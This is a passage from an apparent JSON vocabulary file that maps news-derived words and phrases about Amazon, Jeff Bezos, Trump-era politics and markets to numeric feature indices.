material\": 10388,\n  \"bezos protests\": 10389,\n  \"illegal campaign\": 10390,\n  \"refugee resettlement\": 10391,\n  \"consistently frustrated\": 10392,\n  \"wildly successful\": 10393,\n  \"acheive\": 10394,\n  \"lawmakers letter\": 10395,\n  \"34852323\": 10396,\n  \"vermont sen\": 10397,\n  \"figure jericka\": 10398,\n  \"instability\": 10399,\n  \"receiving conflicting\": 10400,\n  \"navigate\": 10401,\n  \"mail traditional\": 10402,\n  \"pre financing\": 10403,\n  \"general crowded\": 10404,\n  \"research sent\": 10405,\n  \"delivers speech\": 10406,\n  \"added referring\": 10407,\n  \"offer fpo\": 10408,\n  \"amounting\": 10409,\n  \"products inconsistencies\": 10410,\n  \"06m shares\": 10411,\n  \"800 pound\": 10412,\n  \"getting leaner\": 10413,\n  \"pirro competing\": 10414,\n  \"shareholder letters\": 10415,\n  \"twitter share\": 10416,\n  \"granted exemptions\": 10417,\n  \"rosenthal just\": 10418,\n  \"jamie gorelick\": 10419,\n  \"automobiles american\": 10420,\n  \"timely manner\": 10421,\n  \"factset nearly\": 10422,\n  \"backstage\": 10423,\n  \"journalists bezos\": 10424,\n  \"wide choice\": 10425,\n  \"466\": 10426,\n  \"leave training\": 10427,\n  \"impeach trump\": 10428,\n  \"confident sellers\": 10429,\n  \"doctor response\": 10430,\n  \"harshly critical\": 10431,\n  \"lockdown\": 10432,\n  \"people right\": 10433,\n  \"guest fatigue\": 10434,\n  \"new overseas\": 10435,\n  \"ambassador woody\": 10436,\n  \"working smarter\": 10437,\n  \"photo vatican\": 10438,\n  \"encryption\": 10439,\n  \"chartist\": 10440,\n  \"investigation depending\": 10441,\n  \"promised infusion\": 10442,\n  \"news marketwatch\": 10443,\n  \"question christine\": 10444,\n  \"poodle amazon\": 10445,\n  \"reportedly advised\": 10446,\n  \"margaret coat\": 10447,\n  \"snort\": 10448,\n  \"taxpayer friendly\": 10449,\n  \"relationship called\": 10450,\n  \"aws customer\": 10451,\n  \"mimi walters\": 10452,\n  \"opening night\": 10453,\n  \"provide faster\": 10454,\n  \"cramer buys\": 10455,\n  \"justice probe\": 10456,\n  \"camilla\": 10457,\n  \"written based\": 10458,\n  \"retail outlets\": 10459,\n  \"industry bids\": 10460,\n  \"higher levels\": 10461,\n  \"based wells\": 10462,\n  \"latin entrepreneurs\": 10463,\n  \"shares apriem\": 10464,\n  \"creator\": 10465,\n  \"soon begin\": 10466,\n  \"economy reports\": 10467,\n  \"hated wires\": 10468,\n  \"voice service\": 10469,\n  \"designed\": 10470,\n  \"president shares\": 10471,\n  \"brain depends\": 10472,\n  \"lestenkof\": 10473,\n  \"smart speakers\": 10474,\n  \"srcdoc\": 10475,\n  \"growing sales\": 10476,\n  \"paul trump\": 10477,\n  \"marr chye\": 10478,\n  \"conspiring\": 10479,\n  \"stock dipped\": 10480,\n  \"bythe\": 10481,\n  \"thanks actually\": 10482,\n  \"brief statement\": 10483,\n  \"senior\": 10484,\n  \"takes greater\": 10485,\n  \"2018 happy\": 10486,\n  \"business book\": 10487,\n  \"shorrible\": 10488,\n  \"housing repairs\": 10489,\n  \"english small\": 10490,\n  \"murder tax\": 10491,\n  \"minter letting\": 10492,\n  \"counterpart\": 10493,\n  \"says deputy\": 10494,\n  \"repurchasing\": 10495,\n  \"including motherboards\": 10496,\n  \"small bump\": 10497,\n  \"undersecretary\": 10498,\n  \"conveyable cloth\": 10499,\n  \"anchor\": 10500,\n  \"exclusionary conduct\": 10501,\n  \"glimmering\": 10502,\n  \"georgefoster72\": 10503,\n  \"created earlier\": 10504,\n  \"allow brands\": 10505,\n  \"ease import\": 10506,\n  \"firm believer\": 10507,\n  \"lexington school\": 10508,\n  \"headquarters tax\": 10509,\n  \"20again cat_id\": 10510,\n  \"international platform\": 10511,\n  \"general mark\": 10512,\n  \"amazon 1750\": 10513,\n  \"elections buy\": 10514,\n  \"good experience\": 10515,\n  \"actually wrote\": 10516,\n  \"texts included\": 10517,\n  \"intellectual disabilities\": 10518,\n  \"serial killer\": 10519,\n  \"ggqfsweim0 ryan\": 10520,\n  \"yes amazon\": 10521,\n  \"qualifying military\": 10522,\n  \"seattle bezos\": 10523,\n  \"homebuilding empire\": 10524,\n  \"cozy\": 10525,\n  \"expansion outside\": 10526,\n  \"defense\": 10527,\n  \"sent 175\": 10528,\n  \"fair published\": 10529,\n  \"amazon drone\": 10530,\n  \"snapchat\": 10531,\n  \"orders according\": 10532,\n  \"ignorance\": 10533,\n  \"momsrising\": 10534,\n  \"tbelieve\": 10535,\n  \"general statements\": 10536,\n  \"experience\": 10537,\n  \"state noted\": 10538,\n  \"prevention workflows\": 10539,\n  \"skidding\": 10540,\n  \"georgia parents\": 10541,\n  \"transition workforce\": 10542,\n  \"attorney ellison\": 10543,\n  \"getty olivier\": 10544,\n  \"promote competition\": 10545,\n  \"farheen\": 10546,\n  \"chicago washington\": 10547,\n  \"dr atul\": 10548,\n  \"popular fear\": 10549,\n  \"allies skeptical\": 10550,\n  \"abandon negotiations\": 10551,\n  \"budget meaning\": 10552,\n  \"memes making\": 10553,\n  \"free college\": 10554,\n  \"claim does\": 10555,\n  \"cattleman straw\": 10556,\n  \"debt just\": 10557,\n  \"eduardo hernandez\": 10558,\n  \"heartland\": 10559,\n  \"ended bezos\": 10560,\n  \"victory seemingly\": 10561,\n  \"sales record\": 10562,\n  \"towel wrapped\": 10563,\n  \"wrote feb\": 10564,\n  \"whammy\": 10565,\n  \"swbtaos\": 10566,\n  \"europe bmw\": 10567,\n  \"dozen parents\": 10568,\n  \"amazon reviewer\": 10569,\n  \"market considering\": 10570,\n  \"garth\": 10571,\n  \"sex partners\": 10572,\n  \"talker\": 10573,\n  \"similarity scores\": 10574,\n  \"country haaretz\": 10575,\n  \"jenner alabama\": 10576,\n  \"championships\": 10577,\n  \"major stories\": 10578,\n  \"big games\": 10579,\n  \"metrics posted\": 10580,\n  \"amazon general\": 10581,\n  \"strong defences\": 10582,\n  \"existing antitrust\": 10583,\n  \"ig says\": 10584,\n  \"symbiotic relationship\": 10585,\n  \"read fear\": 10586,\n  \"impressive benefits\": 10587,\n  \"poor postal\": 10588,\n  \"rumoured\": 10589,\n  \"mounting tape\": 10590,\n  \"consumers directly\": 10591,\n  \"amazon microsoft\": 10592,\n  \"fsoc\": 10593,\n  \"trump violated\": 10594,\n  \"termed generous\": 10595,\n  \"dulles\": 10596,\n  \"thought bezos\": 10597,\n  \"triggered divorce\": 10598,\n  \"customers signed\": 10599,\n  \"hogwash\": 10600,\n  \"strings attached\": 10601,\n  \"final china\": 10602,\n  \"society maybe\": 10603,\n  \"shares fmr\": 10604,\n  \"reignited talk\": 10605,\n  \"avail usps\": 10606,\n  \"ecommerce revenue\": 10607,\n  \"va told\": 10608,\n  \"pressured white\": 10609,\n  \"spoiler\": 10610,\n  \"mothers orphaned\": 10611,\n  \"slats\": 10612,\n  \"just published\": 10613,\n  \"protection measures\": 10614,\n  \"local area\": 10615,\n  \"4wuuelnwrc\": 10616,\n  \"stock drop\": 10617,\n  \"revival recently\": 10618,\n  \"guaranteeing\": 10619,\n  \"cigar\": 10620,\n  \"unlikely journey\": 10621,\n  \"securing deal\": 10622,\n  \"thatandy mccabe\": 10623,\n  \"transit systems\": 10624,\n  \"reaching patent\": 10625,\n  \"president couple\": 10626,\n  \"month chopra\": 10627,\n  \"china asia\": 10628,\n  \"lawsuit stated\": 10629,\n  \"globes data\": 10630,\n  \"cases appeared\": 10631,\n  \"conservative faculty\": 10632,\n  \"laments lost\": 10633,\n  \"megacap\": 10634,\n  \"ruben\": 10635,\n  \"impending storms\": 10636,\n  \"research reiterates\": 10637,\n  \"business videourl\": 10638,\n  \"splinter published\": 10639,\n  \"salles founded\": 10640,\n  \"test scores\": 10641,\n  \"madhavan\": 10642,\n  \"relief work\": 10643,\n  \"yelp just\": 10644,\n  \"groups suing\": 10645,\n  \"case expected\": 10646,\n  \"inc_pubdate 2019\": 10647,\n  \"intercepted packages\": 10648,\n  \"website crashes\": 10649,\n  \"224\": 10650,\n  \"harass trump\": 10651,\n  \"iframes\": 10652,\n  \"asked\": 10653,\n  \"s9x\": 10654,\n  \"experiencing\": 10655,\n  \"loves trump\": 10656,\n  \"amid government\": 10657,\n  \"board fractional\": 10658,\n  \"democratize commerce\": 10659,\n  \"company embrapa\": 10660,\n  \"atob a4ee\": 10661,\n  \"apples comparison\": 10662,\n  \"hill pennsylvania\": 10663,\n  \"avoid potential\": 10664,\n  \"shoe law\": 10665,\n  \"famous steele\": 10666,\n  \"size shirts\": 10667,\n  \"\\u0430clearly imaginary\": 10668,\n  \"incorrectly causing\": 10669,\n  \"creates jobs\": 10670,\n  \"sexts\": 10671,\n  \"usatoda usatodaysports\": 10672,\n  \"company viewing\": 10673,\n  \"mardi\": 10674,\n  \"plans told\": 10675,\n  \"share investors\": 10676,\n  \"rbi\": 10677,\n  \"jelly\": 10678,\n  \"doubt regarding\": 10679,\n  \"old donald\": 10680,\n  \"longest blackout\": 10681,\n  \"guedes\": 10682,\n  \"acronym\": 10683,\n  \"rhyming cadence\\u0430in\": 10684,\n  \"home listings\": 10685,\n  \"ago parkland\": 10686,\n  \"record quarter\": 10687,\n  \"follows james\": 10688,\n  \"google bezos\": 10689,\n  \"thorough review\": 10690,\n  \"amazon lost\": 10691,\n  \"wellness team\": 10692,\n  \"early jeff\": 10693,\n  \"school lunch\": 10694,\n  \"undemocratic usurpation\": 10695,\n  \"morwenna coniam\": 10696,\n  \"key west\": 10697,\n  \"stop jeff\": 10698,\n  \"command ordering\": 10699,\n  \"carolina clybourne\": 10700,\n  \"account management\": 10701,\n  \"rack\": 10702,\n  \"cohn told\": 10703,\n  \"host local\": 10704,\n  \"wisconsin facility\": 10705,\n  \"nyt piece\": 10706,\n  \"1942\": 10707,\n  \"downtown jails\": 10708,\n  \"best matches\": 10709,\n  \"political story\": 10710,\n  \"m2b\": 10711,\n  \"alert arrived\": 10712,\n  \"provide key\": 10713,\n  \"mueller ongoing\": 10714,\n  \"mundo\": 10715,\n  \"correspondent huawei\": 10716,\n  \"amato office\": 10717,\n  \"company stamford\": 10718,\n  \"list facebook\": 10719,\n  \"dont expect\": 10720,\n  \"year increases\": 10721,\n  \"intrusions\": 10722,\n  \"definitely investigate\": 10723,\n  \"bezos graduated\": 10724,\n  \"mother daughter\": 10725,\n  \"single carrier\": 10726,\n  \"keaton frustration\": 10727,\n  \"great causes\": 10728,\n  \"putin wondered\": 10729,\n  \"neighborhood governor\": 10730,\n  \"sense according\": 10731,\n  \"general rule\": 10732,\n  \"technology does\": 10733,\n  \"class clown\": 10734,\n  \"administration corporation\": 10735,\n  \"legal costs\": 10736,\n  \"literally talking\": 10737,\n  \"favored\": 10738,\n  \"globalist\": 10739,\n  \"men indicted\": 10740,\n  \"fitch dollar\": 10741,\n  \"chris collins\": 10742,\n  \"fleabag amazon\": 10743,\n  \"quality replica\": 10744,\n  \"reagan left\": 10745,\n  \"watch start\": 10746,\n  \"martin chief\": 10747,\n  \"gushing love\": 10748,\n  \"vicky\": 10749,\n  \"wire report\": 10750,\n  \"securities told\": 10751,\n  \"loveland colorado\": 10752,\n  \"makes sure\": 10753,\n  \"inexplicably reported\": 10754,\n  \"class warfare\": 10755,\n  \"minhaj uses\": 10756,\n  \"users queries\": 10757,\n  \"changing economy\": 10758,\n  \"idra novey\": 10759,\n  \"confidants\": 10760,\n  \"beverages played\": 10761,\n  \"stadium\": 10762,\n  \"outbreak based\": 10763,\n  \"record volatility\": 10764,\n  \"provides reduced\": 10765,\n  \"interlocking\": 10766,\n  \"trump coming\": 10767,\n  \"sorry lefties\": 10768,\n  \"stuff matters\": 10769,\n  \"million share\": 10770,\n  \"enormous number\": 10771,\n  \"offering billions\": 10772,\n  \"returning senators\": 10773,\n  \"2018 accenture\": 10774,\n  \"newspaper coverage\": 10775,\n  \"website\": 10776,\n  \"florence anticipation\": 10777,\n  \"magazine daily\": 10778,\n  \"bezos followed\": 10779,\n  \"trump officially\": 10780,\n  \"pilgrim\": 10781,\n  \"cogdeill\": 10782,\n  \"flight company\": 10783,\n  \"produced think\": 10784,\n  \"false positives\": 10785,\n  \"cloud vendor\": 10786,\n  \"funded powerful\": 10787,\n  \"stier\": 10788,\n  \"owns newspaper\": 10789,\n  \"11m shares\": 10790,\n  \"power cords\": 10791,\n  \"deregulation efforts\": 10792,\n  \"just want\": 10793,\n  \"rumsey\": 10794,\n  \"697\": 10795,\n  \"peso\": 10796,\n  \"rate customers\": 10797,\n  \"alternative football\": 10798,\n  \"appears president\": 10799,\n  \"gibson\": 10800,\n  \"years beginning\": 10801,\n  \"latest donald\": 10802,\n  \"wage creator\": 10803,\n  \"coyle sent\": 10804,\n  \"robert schroeder\": 10805,\n  \"chamber member\": 10806,\n  \"winded feature\": 10807,\n  \"425 million\": 10808,\n  \"global center\": 10809,\n  \"man jude\": 10810,\n  \"homespun charm\": 10811,\n  \"texas fedex\": 10812,\n  \"family specifically\": 10813,\n  \"direction going\": 10814,\n  \"economic environment\": 10815,\n  \"warned nic\": 10816,\n  \"pays sales\": 10817,\n  \"innovation\": 10818,\n  \"hooked words\": 10819,\n  \"security threat\": 10820,\n  \"zinkes foundation\": 10821,\n  \"companies antitrust\": 10822,\n  \"california company\": 10823,\n  \"provided comment\": 10824,\n  \"measures aimed\": 10825,\n  \"preorders\": 10826,\n  \"reactions rep\": 10827,\n  \"alibaba trump\": 10828,\n  \"market starts\": 10829,\n  \"actually generate\": 10830,\n  \"papes\": 10831,\n  \"moving production\": 10832,\n  \"eichengreen\": 10833,\n  \"entire congressional\": 10834,\n  \"reveal\": 10835,\n  \"warwick\": 10836,\n  \"service rates\": 10837,\n  \"luther albright\": 10838,\n  \"segall bryant\": 10839,\n  \"buying cramer\": 10840,\n  \"morning good\": 10841,\n  \"job listing\": 10842,\n  \"restraining effect\": 10843,\n  \"hates homosexuals\": 10844,\n  \"protest outside\": 10845,\n  \"various city\": 10846,\n  \"grassroots movement\": 10847,\n  \"nutritious\": 10848,\n  \"unfit\": 10849,\n  \"798\": 10850,\n  \"released\": 10851,\n  \"pellico\": 10852,\n  \"faced heavy\": 10853,\n  \"nutanix ntnx\": 10854,\n  \"benson harf\": 10855,\n  \"posts sanders\": 10856,\n  \"howard saw\": 10857,\n  \"ninth place\": 10858,\n  \"microsd\": 10859,\n  \"commander finally\": 10860,\n  \"new companies\": 10861,\n  \"sachs merchant\": 10862,\n  \"unsung\": 10863,\n  \"subcommittee announced\": 10864,\n  \"physics little\": 10865,\n  \"tmz reported\": 10866,\n  \"career berating\": 10867,\n  \"china operations\": 10868,\n  \"taxes actually\": 10869,\n  \"lunar outpost\": 10870,\n  \"joint statement\": 10871,\n  \"british public\": 10872,\n  \"worse rising\": 10873,\n  \"hospitals according\": 10874,\n  \"beauregard sessions\": 10875,\n  \"needs low\": 10876,\n  \"pare\": 10877,\n  \"author ian\": 10878,\n  \"retribution based\": 10879,\n  \"smith declined\": 10880,\n  \"says prime\": 10881,\n  \"color texture\": 10882,\n  \"measurement\": 10883,\n  \"clinton\": 10884,\n  \"lawyers suing\": 10885,\n  \"writer previously\": 10886,\n  \"senate primary\": 10887,\n  \"hardly necessary\": 10888,\n  \"want immigration\": 10889,\n  \"wasn influenced\": 10890,\n  \"saveourfuture notwithtrump\": 10891,\n  \"gap councilwoman\": 10892,\n  \"series report\": 10893,\n  \"regarding tariffs\": 10894,\n  \"rich deal\": 10895,\n  \"group 2018\": 10896,\n  \"alfre woodard\": 10897,\n  \"say word\": 10898,\n  \"criticize\": 10899,\n  \"police records\": 10900,\n  \"cornerstone green\": 10901,\n  \"mps\": 10902,\n  \"extracting unearned\": 10903,\n  \"tit\": 10904,\n  \"chinese spies\": 10905,\n  \"698\": 10906,\n  \"northeastern\": 10907,\n  \"fewer young\": 10908,\n  \"anymore dimondstein\": 10909,\n  \"market say\": 10910,\n  \"itsauthority\": 10911,\n  \"virtual servant\": 10912,\n  \"escalation ofthe\": 10913,\n  \"amazon shipments\": 10914,\n  \"breaks tesla\": 10915,\n  \"abramson profiles\": 10916,\n  \"pleasingly affable\": 10917,\n  \"exit white\": 10918,\n  \"ice targeting\": 10919,\n  \"diplomacy lot\": 10920,\n  \"elderly donors\": 10921,\n  \"note shared\": 10922,\n  \"rich progressives\": 10923,\n  \"amazon especially\": 10924,\n  \"categorically false\": 10925,\n  \"political levi\": 10926,\n  \"trump admits\": 10927,\n  \"billion disaster\": 10928,\n  \"xly amzn\": 10929,\n  \"million active\": 10930,\n  \"gumshoe says\": 10931,\n  \"beloved\": 10932,\n  \"release mutually\": 10933,\n  \"takes stepfather\": 10934,\n  \"party chair\": 10935,\n  \"regulatory threshold\": 10936,\n  \"wildfires hawaii\": 10937,\n  \"qdrops\": 10938,\n  \"\\u0630\\u0627\\u0643\": 10939,\n  \"syrian offense\": 10940,\n  \"leading news\": 10941,\n  \"private securities\": 10942,\n  \"robertson tags\": 10943,\n  \"bodeen\": 10944,\n  \"art life\": 10945,\n  \"amazon enemies\": 10946,\n  \"174\": 10947,\n  \"congressman andy\": 10948,\n  \"tshisekedi\": 10949,\n  \"owners mark\": 10950,\n  \"convenient line\": 10951,\n  \"bilking\": 10952,\n  \"place stranglehold\": 10953,\n  \"important conclusion\": 10954,\n  \"stacy\": 10955,\n  \"china seeks\": 10956,\n  \"wanted aggressive\": 10957,\n  \"momentous white\": 10958,\n  \"kardashian gasol\": 10959,\n  \"amendments\": 10960,\n  \"foods cookbook\": 10961,\n  \"safety violation\": 10962,\n  \"help yes\": 10963,\n  \"seattle acute\": 10964,\n  \"escalating war\": 10965,\n  \"pre tax\": 10966,\n  \"gleefully posted\": 10967,\n  \"sky high\": 10968,\n  \"setting aggressive\": 10969,\n  \"cleo wade\": 10970,\n  \"night running\": 10971,\n  \"2017 compared\": 10972,\n  \"public positions\": 10973,\n  \"nearly 223\": 10974,\n  \"journalism copyright\": 10975,\n  \"technology won\": 10976,\n  \"versus google\": 10977,\n  \"group later\": 10978,\n  \"sheldon\": 10979,\n  \"year continuing\": 10980,\n  \"5g service\": 10981,\n  \"biggest expenses\": 10982,\n  \"receive tough\": 10983,\n  \"backyard ocasio\": 10984,\n  \"usps business\": 10985,\n  \"campaign neil\": 10986,\n  \"drawing closer\": 10987,\n  \"robo relief\": 10988,\n  \"2019 living\": 10989,\n  \"products fully\": 10990,\n  \"secure cloud\": 10991,\n  \"colossal failures\": 10992,\n  \"suffered blaming\": 10993,\n  \"injection\": 10994,\n  \"strike amazon\": 10995,\n  \"meddled\": 10996,\n  \"partisan gap\": 10997,\n  \"earth bezos\": 10998,\n  \"potentially receive\": 10999,\n  \"launching movement\": 11000,\n  \"birth control\": 11001,\n  \"misdiagnosed amazon\": 11002,\n  \"month subscription\": 11003,\n  \"selfie posters\": 11004,\n  \"purge fake\": 11005,\n  \"001\": 11006,\n  \"capes\": 11007,\n  \"counterfeits\": 11008,\n  \"bartiromo good\": 11009,\n  \"murdoch owned\": 11010,\n  \"p8\": 11011,\n  \"privacy debate\": 11012,\n  \"alex guill\\u00e9n\": 11013,\n  \"plans telecoms\": 11014,\n  \"believes democracy\": 11015,\n  \"female factory\": 11016,\n  \"allows driver\": 11017,\n  \"backside line\": 11018,\n  \"rielle hunter\": 11019,\n  \"gambling site\": 11020,\n  \"wrote china\": 11021,\n  \"office having\": 11022,\n  \"line owned\": 11023,\n  \"jim mattis\": 11024,\n  \"law favoring\": 11025,\n  \"edwards\": 11026,\n  \"executive director\": 11027,\n  \"shaken\": 11028,\n  \"letter criticises\": 11029,\n  \"team sky\": 11030,\n  \"good ocasio\": 11031,\n  \"mailers plummeted\": 11032,\n  \"ticketing\": 11033,\n  \"adding stress\": 11034,\n  \"huge promises\": 11035,\n  \"endearing bird\": 11036,\n  \"refunds\": 11037,\n  \"deliver better\": 11038,\n  \"taking special\": 11039,\n  \"cites sources\": 11040,\n  \"lamborghini urus\": 11041,\n  \"unflattering coverage\": 11042,\n  \"naeem\": 11043,\n  \"certifications\": 11044,\n  \"bezos slow\": 11045,\n  \"console\": 11046,\n  \"tongue firmly\": 11047,\n  \"auctions wsj\": 11048,\n  \"attracted opprobrium\": 11049,\n  \"entire amazon\": 11050,\n  \"stoke economic\": 11051,\n  \"tracker\": 11052,\n  \"political opponent\": 11053,\n  \"decals\": 11054,\n  \"celebrates bezos\": 11055,\n  \"116 500\": 11056,\n  \"best western\": 11057,\n  \"legions\": 11058,\n  \"heart amazon\": 11059,\n  \"great thought\": 11060,\n  \"upbringing\": 11061,\n  \"lobbying largesse\": 11062,\n  \"missile sites\": 11063,\n  \"unit post\": 11064,\n  \"having access\": 11065,\n  \"waysactually furthered\": 11066,\n  \"sanchez devices\": 11067,\n  \"requested multiple\": 11068,\n  \"firstamendment news\": 11069,\n  \"checkout line\": 11070,\n  \"abbie cornish\": 11071,\n  \"hasn stopped\": 11072,\n  \"usa report\": 11073,\n  \"including constellation\": 11074,\n  \"frmr\": 11075,\n  \"popular saying\": 11076,\n  \"growing list\": 11077,\n  \"newt\": 11078,\n  \"signs saying\": 11079,\n  \"think carrier\": 11080,\n  \"1933\": 11081,\n  \"new global\": 11082,\n  \"business support\": 11083,\n  \"covering lot\": 11084,\n  \"unveiled new\": 11085,\n  \"receives customs\": 11086,\n  \"firm note\": 11087,\n  \"tailer pricing\": 11088,\n  \"related components\": 11089,\n  \"possible parscale\": 11090,\n  \"vegetation intact\": 11091,\n  \"company acknowledged\": 11092,\n  \"dimmed lights\": 11093,\n  \"tell president\": 11094,\n  \"challenging media\": 11095,\n  \"stands chance\": 11096,\n  \"yes writing\": 11097,\n  \"activity reaches\": 11098,\n  \"katy tur\": 11099,\n  \"creativeness\": 11100,\n  \"issue milton\": 11101,\n  \"representation\": 11102,\n  \"bags wet\": 11103,\n  \"achieve mainstream\": 11104,\n  \"shopping website\": 11105,\n  \"aggrieved\": 11106,\n  \"outsized personality\": 11107,\n  \"aspiring novelists\": 11108,\n  \"day leadership\": 11109,\n  \"corporate performance\": 11110,\n  \"aggressive seizure\": 11111,\n  \"amzn fagan\": 11112,\n  \"rights founding\": 11113,\n  \"fact connect\": 11114,\n  \"having taken\": 11115,\n  \"known whoopi\": 11116,\n  \"subscribing showing\": 11117,\n  \"bgr\": 11118,\n  \"popular hardware\": 11119,\n  \"faces review\": 11120,\n  \"nil\": 11121,\n  \"finance large\": 11122,\n  \"speculation regarding\": 11123,\n  \"busy day\": 11124,\n  \"darkest days\": 11125,\n  \"reaping wealth\": 11126,\n  \"bolsonaro rise\": 11127,\n  \"singing bibble\": 11128,\n  \"merged creating\": 11129,\n  \"makes 98point6\": 11130,\n  \"arcbest\": 11131,\n  \"instead proposing\": 11132,\n  \"wants trump\": 11133,\n  \"forcing people\": 11134,\n  \"victory celebration\": 11135,\n  \"patenting wristband\": 11136,\n  \"spencer\": 11137,\n  \"day prime\": 11138,\n  \"hickman writes\": 11139,\n  \"television business\": 11140,\n  \"newly revealed\": 11141,\n  \"related report\": 11142,\n  \"archival footage\": 11143,\n  \"refugees escape\": 11144,\n  \"stride\": 11145,\n  \"valid question\": 11146,\n  \"financial filing\": 11147,\n  \"just oracle\": 11148,\n  \"concept stage\": 11149,\n  \"2018 movie\": 11150,\n  \"news outlets\": 11151,\n  \"wrongly identifies\": 11152,\n  \"867 shares\": 11153,\n  \"economic model\": 11154,\n  \"alina thanks\": 11155,\n  \"internal google\": 11156,\n  \"rollout similar\": 11157,\n  \"trump committed\": 11158,\n  \"day offer\": 11159,\n  \"homebase 241\": 11160,\n  \"century business\": 11161,\n  \"headlinetext colbert\": 11162,\n  \"tactical\": 11163,\n  \"8220 money\": 11164,\n  \"450 gift\": 11165,\n  \"racial sexual\": 11166,\n  \"jon_bois\": 11167,\n  \"hikes president\": 11168,\n  \"ice shut\": 11169,\n  \"competitive mergers\": 11170,\n  \"power citizens\": 11171,\n  \"jon woods\": 11172,\n  \"start looking\": 11173,\n  \"new president\": 11174,\n  \"costco cost\": 11175,\n  \"candidacy\": 11176,\n  \"list dr\": 11177,\n  \"michael hayden\": 11178,\n  \"prix goncourt\": 11179,\n  \"lobbying operations\": 11180,\n  \"post election\": 11181,\n  \"pill light\": 11182,\n  \"music festival\": 11183,\n  \"fraud white\": 11184,\n  \"model driving\": 11185,\n  \"despises bezos\": 11186,\n  \"sector don\": 11187,\n  \"dna technology\": 11188,\n  \"recommend continuation\": 11189,\n  \"levered\": 11190,\n  \"bezos uses\": 11191,\n  \"brandon debot\": 11192,\n  \"attacks media\": 11193,\n  \"null trackingpixel\": 11194,\n  \"business vaheesan\": 11195,\n  \"tv anchors\": 11196,\n  \"media embedded\": 11197,\n  \"film festivals\": 11198,\n  \"vindictive\": 11199,\n  \"begun looking\": 11200,\n  \"wool\": 11201,\n  \"center 909\": 11202,\n  \"delves\": 11203,\n  \"removes anti\": 11204,\n  \"t5q function\": 11205,\n  \"veronica chambers\": 11206,\n  \"hq2 coming\": 11207,\n  \"retailer seeks\": 11208,\n  \"flatter\": 11209,\n  \"cosmo skymed\": 11210,\n  \"900 acres\": 11211,\n  \"metcalf\": 11212,\n  \"language suggests\": 11213,\n  \"improve lives\": 11214,\n  \"orioles\": 11215,\n  \"israeli capital\": 11216,\n  \"perspective stock\": 11217,\n  \"sites kavanaugh\": 11218,\n  \"tangible progress\": 11219,\n  \"ultimately creating\": 11220,\n  \"competitor kroger\": 11221,\n  \"jim sinegal\": 11222,\n  \"runway\": 11223,\n  \"believe tesco\": 11224,\n  \"backed newspaper\": 11225,\n  \"women revolted\": 11226,\n  \"spicer spicer\": 11227,\n  \"brooklyn home\": 11228,\n  \"committee cbs\": 11229,\n  \"smoking gun\": 11230,\n  \"york aug\": 11231,\n  \"violates company\": 11232,\n  \"untypical cover\": 11233,\n  \"sole source\": 11234,\n  \"busy wiping\": 11235,\n  \"extreme dysfunction\": 11236,\n  \"increasingly concerned\": 11237,\n  \"tom brady\": 11238,\n  \"time foe\": 11239,\n  \"celebrating fort\": 11240,\n  \"efficacy\": 11241,\n  \"tria\": 11242,\n  \"ala named\": 11243,\n  \"car robbery\": 11244,\n  \"na7it1\": 11245,\n  \"_from r40\": 11246,\n  \"price 715\": 11247,\n  \"x8 log\": 11248,\n  \"2017 african\": 11249,\n  \"model labor\": 11250,\n  \"reklaitis marketwatch\": 11251,\n  \"city neighborhoods\": 11252,\n  \"gild\": 11253,\n  \"mueller pack\": 11254,\n  \"trading slightly\": 11255,\n  \"twist greene\": 11256,\n  \"euro tm\": 11257,\n  \"scans\": 11258,\n  \"thughouse\": 11259,\n  \"india aug\": 11260,\n  \"decree\": 11261,\n  \"day story\": 11262,\n  \"danner mountain\": 11263,\n  \"jacob weindling\": 11264,\n  \"labor right\": 11265,\n  \"horrible deal\": 11266,\n  \"epa wheeler\": 11267,\n  \"collusion facebook\": 11268,\n  \"opportunityzones history\": 11269,\n  \"shortages\": 11270,\n  \"realdonaldtrump tweeted\": 11271,\n  \"just run\": 11272,\n  \"improve services\": 11273,\n  \"costco quite\": 11274,\n  \"placing brick\": 11275,\n  \"open bid\": 11276,\n  \"silver clearly\": 11277,\n  \"rent stabilized\": 11278,\n  \"puerto rico\": 11279,\n  \"add newsletter\": 11280,\n  \"albuquerque grew\": 11281,\n  \"tribune\": 11282,\n  \"polling early\": 11283,\n  \"counterfeit goods\": 11284,\n  \"called pay\": 11285,\n  \"amazon personal\": 11286,\n  \"skinned faces\": 11287,\n  \"keeping kids\": 11288,\n  \"leasing market\": 11289,\n  \"correct picture\": 11290,\n  \"svp russell\": 11291,\n  \"especially overseas\": 11292,\n  \"ceo slams\": 11293,\n  \"loggers\": 11294,\n  \"amazon sells\": 11295,\n  \"particularly exciting\": 11296,\n  \"transportation charges\": 11297,\n  \"letter sees\": 11298,\n  \"deputy says\": 11299,\n  \"common sense\": 11300,\n  \"dual role\": 11301,\n  \"eve trading\": 11302,\n  \"ghirda people\": 11303,\n  \"english arabic\": 11304,\n  \"large majority\": 11305,\n  \"single largest\": 11306,\n  \"sec chairman\": 11307,\n  \"sanchez phones\": 11308,\n  \"defense attorneys\": 11309,\n  \"urging rights\": 11310,\n  \"greatly reduce\": 11311,\n  \"rivals favoring\": 11312,\n  \"family global\": 11313,\n  \"story senators\": 11314,\n  \"traces\": 11315,\n  \"market growth\": 11316,\n  \"bigcommerce\": 11317,\n  \"_sx342_ql70_\": 11318,\n  \"praising democratic\": 11319,\n  \"medium bezos\": 11320,\n  \"decent work\": 11321,\n  \"magazine pointed\": 11322,\n  \"shock billy\": 11323,\n  \"net new\": 11324,\n  \"cibc\": 11325,\n  \"major financial\": 11326,\n  \"17369482 donald\": 11327,\n  \"bluest eye\": 11328,\n  \"river tactical\": 11329,\n  \"sex tweet\": 11330,\n  \"chief recognizing\": 11331,\n  \"starbucks harley\": 11332,\n  \"eventuality\": 11333,\n  \"personal invention\": 11334,\n  \"mexico hopes\": 11335,\n  \"ai\": 11336,\n  \"1539177096\": 11337,\n  \"measure vital\": 11338,\n  \"final number\": 11339,\n  \"days cnn\": 11340,\n  \"construction workers\": 11341,\n  \"america gma\": 11342,\n  \"date suggests\": 11343,\n  \"week sign\": 11344,\n  \"supposedly loathes\": 11345,\n  \"inflicted\": 11346,\n  \"boston tax\": 11347,\n  \"doubts subside\": 11348,\n  \"bobby\": 11349,\n  \"microsoft cloud\": 11350,\n  \"article speculated\": 11351,\n  \"traister\": 11352,\n  \"regulation grocery\": 11353,\n  \"china says\": 11354,\n  \"basically najarian\": 11355,\n  \"new electronic\": 11356,\n  \"ostroy andyostroy\": 11357,\n  \"camp david\": 11358,\n  \"services administration\": 11359,\n  \"low effort\": 11360,\n  \"circuit spirited\": 11361,\n  \"parlance\": 11362,\n  \"backstop\": 11363,\n  \"curious sheep\": 